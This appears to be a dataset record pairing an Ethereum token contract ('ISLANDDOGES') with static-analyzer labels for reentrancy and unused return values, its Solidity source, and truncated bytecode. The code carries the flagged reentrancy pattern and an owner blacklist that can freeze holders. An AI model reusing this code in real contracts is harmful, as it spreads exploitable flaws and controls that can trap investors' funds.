5b6000813590506127c181613594565b92915050565b6000815190506127d681613594565b92915050565b6000813590506127eb816135ab565b92915050565b600081519050612800816135ab565b92915050565b60006020828403121561281857600080fd5b60006128268482850161275e565b91505092915050565b60006020828403121561284157600080fd5b600061284f84828501612773565b91505092915050565b6000806040838503121561286b57600080fd5b60006128798582860161275e565b925050602061288a8582860161275e565b9150509250929050565b6000806000606084860312156128a957600080fd5b60006128b78682870161275e565b93505060206128c88682870161275e565b92505060406128d9868287016127dc565b9150509250925092565b600080604083850312156128f657600080fd5b60006129048582860161275e565b9250506020612915858286016127dc565b9150509250929050565b60006020828403121561293157600080fd5b600082013567ffffffffffffffff81111561294b57600080fd5b61295784828501612788565b91505092915050565b60006020828403121561297257600080fd5b6000612980848285016127b2565b91505092915050565b60006020828403121561299b57600080fd5b60006129a9848285016127c7565b91505092915050565b6000602082840312156129c457600080fd5b60006129d2848285016127dc565b91505092915050565b6000806000606084860312156129f057600080fd5b60006129fe868287016127f1565b9350506020612a0f868287016127f1565b9250506040612a20868287016127f1565b9150509250925092565b6000612a368383612a42565b60208301905092915050565b612a4b81613127565b82525050565b612a5a81613127565b82525050565b6000612a6b82612fcd565b612a758185612ff0565b9350612a8083612fbd565b8060005b83811015612ab1578151612a988882612a2a565b9750612aa383612fe3565b925050600181019050612a84565b5085935050505092915050565b612ac781613139565b82525050565b612ad68161317c565b82525050565b6000612ae782612fd8565b612af18185613001565b9350612b0181856020860161318e565b612b0a816132c8565b840191505092915050565b6000612b22602383613001565b9150612b2d826132d9565b604082019050919050565b6000612b45602a83613001565b9150612b5082613328565b604082019050919050565b6000612b68602283613001565b9150612b7382613377565b604082019050919050565b6000612b8b601b83613001565b9150612b96826133c6565b602082019050919050565b6000612bae602183613001565b9150612bb9826133ef565b604082019050919050565b6000612bd1602083613001565b9150612bdc8261343e565b602082019050919050565b6000612bf4602983613001565b9150612bff82613467565b604082019050919050565b6000612c17602583613001565b9150612c22826134b6565b604082019050919050565b6000612c3a602483613001565b9150612c4582613505565b604082019050919050565b6000612c5d601783613001565b9150612c6882613554565b602082019050919050565b612c7c81613165565b82525050565b612c8b8161316f565b82525050565b6000602082019050612ca66000830184612a51565b92915050565b6000604082019050612cc16000830185612a51565b612cce6020830184612a51565b9392505050565b6000604082019050612cea6000830185612a51565b612cf76020830184612c73565b9392505050565b600060c082019050612d136000830189612a51565b612d206020830188612c73565b612d2d6040830187612acd565b612d3a6060830186612acd565b612d476080830185612a51565b612d5460a0830184612c73565b979650505050505050565b6000602082019050612d746000830184612abe565b92915050565b60006020820190508181036000830152612d948184612adc565b905092915050565b60006020820190508181036000830152612db581612b15565b9050919050565b60006020820190508181036000830152612dd581612b38565b9050919050565b60006020820190508181036000830152612df581612b5b565b9050919050565b60006020820190508181036000830152612e1581612b7e565b9050919050565b60006020820190508181036000830152612e3581612ba1565b9050919050565b60006020820190508181036000830152612e5581612bc4565b9050919050565b60006020820190508181036000830152612e7581612be7565b9050919050565b60006020820190508181036000830152612e9581612c0a565b9050919050565b60006020820190508181036000830152612eb581612c2d565b9050919050565b60006020820190508181036000830152612ed581612c50565b9050919050565b6000602082019050612ef16000830184612c73565b92915050565b600060a082019050612f0c6000830188612c73565b612f196020830187612acd565b8181036040830152612f2b8186612a60565b9050612f3a6060830185612a51565b612f476080830184612c73565b9695505050505050565b6000602082019050612f666000830184612c82565b92915050565b6000612f76612f87565b9050612f8282826131c1565b919050565b6000604051905090565b600067ffffffffffffffff821115612fac57612fab613299565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061301d82613165565b915061302883613165565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561305d5761305c61323b565b5b828201905092915050565b600061307382613165565b915061307e83613165565b92508261308e5761308d61326a565b5b828204905092915050565b60006130a482613165565b91506130af83613165565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156130e8576130e761323b565b5b828202905092915050565b60006130fe82613165565b915061310983613165565b92508282101561311c5761311b61323b565b5b828203905092915050565b600061313282613145565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061318782613165565b9050919050565b60005b838110156131ac578082015181840152602081019050613191565b838111156131bb576000848401525b50505050565b6131ca826132c8565b810181811067ffffffffffffffff821117156131e9576131e8613299565b5b80604052505050565b60006131fd82613165565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132305761322f61323b565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61358681613127565b811461359157600080fd5b50565b61359d81613139565b81146135a857600080fd5b50565b6135b481613165565b81146135bf57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e53d133ce6a83cef62e358d7f90180c93ea754ea83cce5056fa7564b55667e9764736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
7,379
0xa0dc5132c91ea4d94fcf1727c32cc5a303b34cfc
/** * * * * SPDX-License-Identifier: UNLICENSED * */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ISLANDDOGES is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"ISLANDDOGES"; string private constant _symbol = unicode"ISLAND"; uint8 private constant _decimals = 9; uint256 private _taxFee = 1; uint256 private _teamFee = 7; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable public _FeeAddress; address payable public _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen = false; bool private _noTaxMode = false; bool private inSwap = false; uint256 private walletLimitDuration; struct User { uint256 buyCD; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { require(!_bots[from] && !_bots[to]); if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); if (walletLimitDuration > block.timestamp) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(2).div(100)); } } uint256 contractTokenBalance = balanceOf(address(this)); if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(5).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(5).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || _noTaxMode){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); tradingOpen = true; walletLimitDuration = block.timestamp + (60 minutes); } function setMarketingWallet (address payable marketingWalletAddress) external { require(_msgSender() == _FeeAddress); _isExcludedFromFee[_marketingWalletAddress] = false; _marketingWalletAddress = marketingWalletAddress; _isExcludedFromFee[marketingWalletAddress] = true; } function excludeFromFee (address payable ad) external { require(_msgSender() == _FeeAddress); _isExcludedFromFee[ad] = true; } function includeToFee (address payable ad) external { require(_msgSender() == _FeeAddress); _isExcludedFromFee[ad] = false; } function setNoTaxMode(bool onoff) external { require(_msgSender() == _FeeAddress); _noTaxMode = onoff; } function setTeamFee(uint256 team) external { require(_msgSender() == _FeeAddress); require(team <= 7); _teamFee = team; } function setTaxFee(uint256 tax) external { require(_msgSender() == _FeeAddress); require(tax <= 1); _taxFee = tax; } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { _bots[bots_[i]] = true; } } } function delBot(address notbot) public onlyOwner { _bots[notbot] = false; } function isBot(address ad) public view returns (bool) { return _bots[ad]; } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101a05760003560e01c806370a08231116100ec578063c4081a4c1161008a578063cf0848f711610064578063cf0848f7146104cd578063db92dbb6146104ed578063dd62ed3e14610502578063e6ec64ec1461054857600080fd5b8063c4081a4c14610478578063c9567bf914610498578063cbf1ecdd146104ad57600080fd5b806395d89b41116100c657806395d89b41146103f4578063a9059cbb14610423578063b515566a14610443578063c3c8cd801461046357600080fd5b806370a08231146103a1578063715018a6146103c15780638da5cb5b146103d657600080fd5b8063313ce56711610159578063437823ec11610133578063437823ec1461032c5780634b740b161461034c5780635d098b381461036c5780636fc3eaec1461038c57600080fd5b8063313ce5671461029f5780633bbac579146102bb5780634144d9e4146102f457600080fd5b806306fdde03146101ac578063095ea7b3146101f257806318160ddd1461022257806323b872dd14610248578063273123b71461026857806327f3a72a1461028a57600080fd5b366101a757005b600080fd5b3480156101b857600080fd5b5060408051808201909152600b81526a49534c414e44444f47455360a81b60208201525b6040516101e99190611cd5565b60405180910390f35b3480156101fe57600080fd5b5061021261020d366004611b66565b610568565b60405190151581526020016101e9565b34801561022e57600080fd5b50683635c9adc5dea000005b6040519081526020016101e9565b34801561025457600080fd5b50610212610263366004611b26565b61057f565b34801561027457600080fd5b50610288610283366004611ab6565b6105e8565b005b34801561029657600080fd5b5061023a61063c565b3480156102ab57600080fd5b50604051600981526020016101e9565b3480156102c757600080fd5b506102126102d6366004611ab6565b6001600160a01b031660009081526006602052604090205460ff1690565b34801561030057600080fd5b50600e54610314906001600160a01b031681565b6040516001600160a01b0390911681526020016101e9565b34801561033857600080fd5b50610288610347366004611ab6565b61064c565b34801561035857600080fd5b50610288610367366004611c58565b610690565b34801561037857600080fd5b50610288610387366004611ab6565b6106ce565b34801561039857600080fd5b5061028861073e565b3480156103ad57600080fd5b5061023a6103bc366004611ab6565b61076b565b3480156103cd57600080fd5b5061028861078d565b3480156103e257600080fd5b506000546001600160a01b0316610314565b34801561040057600080fd5b506040805180820190915260068152651254d310539160d21b60208201526101dc565b34801561042f57600080fd5b5061021261043e366004611b66565b610801565b34801561044f57600080fd5b5061028861045e366004611b91565b61080e565b34801561046f57600080fd5b50610288610955565b34801561048457600080fd5b50610288610493366004611c90565b61098b565b3480156104a457600080fd5b506102886109be565b3480156104b957600080fd5b50600d54610314906001600160a01b031681565b3480156104d957600080fd5b506102886104e8366004611ab6565b610d83565b3480156104f957600080fd5b5061023a610dc4565b34801561050e57600080fd5b5061023a61051d366004611aee565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561055457600080fd5b50610288610563366004611c90565b610ddc565b6000610575338484610e0f565b5060015b92915050565b600061058c848484610f33565b6105de84336105d985604051806060016040528060288152602001611ea6602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061130c565b610e0f565b5060019392505050565b6000546001600160a01b0316331461061b5760405162461bcd60e51b815260040161061290611d28565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b60006106473061076b565b905090565b600d546001600160a01b0316336001600160a01b03161461066c57600080fd5b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b600d546001600160a01b0316336001600160a01b0316146106b057600080fd5b60108054911515600160a81b0260ff60a81b19909216919091179055565b600d546001600160a01b0316336001600160a01b0316146106ee57600080fd5b600e80546001600160a01b03908116600090815260056020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b600d546001600160a01b0316336001600160a01b03161461075e57600080fd5b4761076881611346565b50565b6001600160a01b038116600090815260026020526040812054610579906113cb565b6000546001600160a01b031633146107b75760405162461bcd60e51b815260040161061290611d28565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610575338484610f33565b6000546001600160a01b031633146108385760405162461bcd60e51b815260040161061290611d28565b60005b81518110156109515760105482516001600160a01b039091169083908390811061087557634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b0316141580156108d45750600f5482516001600160a01b03909116908390839081106108c057634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b031614155b1561093f576001600660008484815181106108ff57634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061094981611e3b565b91505061083b565b5050565b600d546001600160a01b0316336001600160a01b03161461097557600080fd5b60006109803061076b565b90506107688161144f565b600d546001600160a01b0316336001600160a01b0316146109ab57600080fd5b60018111156109b957600080fd5b600955565b6000546001600160a01b031633146109e85760405162461bcd60e51b815260040161061290611d28565b601054600160a01b900460ff1615610a425760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610612565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610a7f3082683635c9adc5dea00000610e0f565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ab857600080fd5b505afa158015610acc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610af09190611ad2565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610b3857600080fd5b505afa158015610b4c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b709190611ad2565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610bb857600080fd5b505af1158015610bcc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bf09190611ad2565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d7194730610c208161076b565b600080610c356000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610c9857600080fd5b505af1158015610cac573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610cd19190611ca8565b5050601054600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610d2557600080fd5b505af1158015610d39573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d5d9190611c74565b506010805460ff60a01b1916600160a01b179055610d7d42610e10611dcd565b60115550565b600d546001600160a01b0316336001600160a01b031614610da357600080fd5b6001600160a01b03166000908152600560205260409020805460ff19169055565b601054600090610647906001600160a01b031661076b565b600d546001600160a01b0316336001600160a01b031614610dfc57600080fd5b6007811115610e0a57600080fd5b600a55565b6001600160a01b038316610e715760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610612565b6001600160a01b038216610ed25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610612565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f975760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610612565b6001600160a01b038216610ff95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610612565b6000811161105b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610612565b6000546001600160a01b0384811691161480159061108757506000546001600160a01b03838116911614155b1561129b576001600160a01b03831660009081526006602052604090205460ff161580156110ce57506001600160a01b03821660009081526006602052604090205460ff16155b6110d757600080fd5b6010546001600160a01b0384811691161480156111025750600f546001600160a01b03838116911614155b801561112757506001600160a01b03821660009081526005602052604090205460ff16155b156111d257601054600160a01b900460ff166111855760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610612565b4260115411156111d257600061119a8361076b565b90506111bb60646111b5683635c9adc5dea0000060026115f4565b90611673565b6111c583836116b5565b11156111d057600080fd5b505b60006111dd3061076b565b601054909150600160b01b900460ff1615801561120857506010546001600160a01b03858116911614155b801561121d5750601054600160a01b900460ff165b1561129957801561128757601054611251906064906111b59060059061124b906001600160a01b031661076b565b906115f4565b81111561127e5760105461127b906064906111b59060059061124b906001600160a01b031661076b565b90505b6112878161144f565b4780156112975761129747611346565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff16806112dd57506001600160a01b03831660009081526005602052604090205460ff165b806112f15750601054600160a81b900460ff165b156112fa575060005b61130684848484611714565b50505050565b600081848411156113305760405162461bcd60e51b81526004016106129190611cd5565b50600061133d8486611e24565b95945050505050565b600d546001600160a01b03166108fc611360836002611673565b6040518115909202916000818181858888f19350505050158015611388573d6000803e3d6000fd5b50600e546001600160a01b03166108fc6113a3836002611673565b6040518115909202916000818181858888f19350505050158015610951573d6000803e3d6000fd5b60006007548211156114325760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610612565b600061143c611742565b90506114488382611673565b9392505050565b6010805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114a557634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156114f957600080fd5b505afa15801561150d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115319190611ad2565b8160018151811061155257634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600f546115789130911684610e0f565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906115b1908590600090869030904290600401611d5d565b600060405180830381600087803b1580156115cb57600080fd5b505af11580156115df573d6000803e3d6000fd5b50506010805460ff60b01b1916905550505050565b60008261160357506000610579565b600061160f8385611e05565b90508261161c8583611de5565b146114485760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610612565b600061144883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611765565b6000806116c28385611dcd565b9050838110156114485760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610612565b8061172157611721611793565b61172c8484846117c1565b8061130657611306600b54600955600c54600a55565b600080600061174f6118b8565b909250905061175e8282611673565b9250505090565b600081836117865760405162461bcd60e51b81526004016106129190611cd5565b50600061133d8486611de5565b6009541580156117a35750600a54155b156117aa57565b60098054600b55600a8054600c5560009182905555565b6000806000806000806117d3876118fa565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506118059087611957565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461183490866116b5565b6001600160a01b03891660009081526002602052604090205561185681611999565b61186084836119e3565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516118a591815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea000006118d48282611673565b8210156118f157505060075492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006119178a600954600a54611a07565b9250925092506000611927611742565b9050600080600061193a8e878787611a56565b919e509c509a509598509396509194505050505091939550919395565b600061144883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061130c565b60006119a3611742565b905060006119b183836115f4565b306000908152600260205260409020549091506119ce90826116b5565b30600090815260026020526040902055505050565b6007546119f09083611957565b600755600854611a0090826116b5565b6008555050565b6000808080611a1b60646111b589896115f4565b90506000611a2e60646111b58a896115f4565b90506000611a4682611a408b86611957565b90611957565b9992985090965090945050505050565b6000808080611a6588866115f4565b90506000611a7388876115f4565b90506000611a8188886115f4565b90506000611a9382611a408686611957565b939b939a50919850919650505050505050565b8035611ab181611e82565b919050565b600060208284031215611ac7578081fd5b813561144881611e82565b600060208284031215611ae3578081fd5b815161144881611e82565b600080604083850312156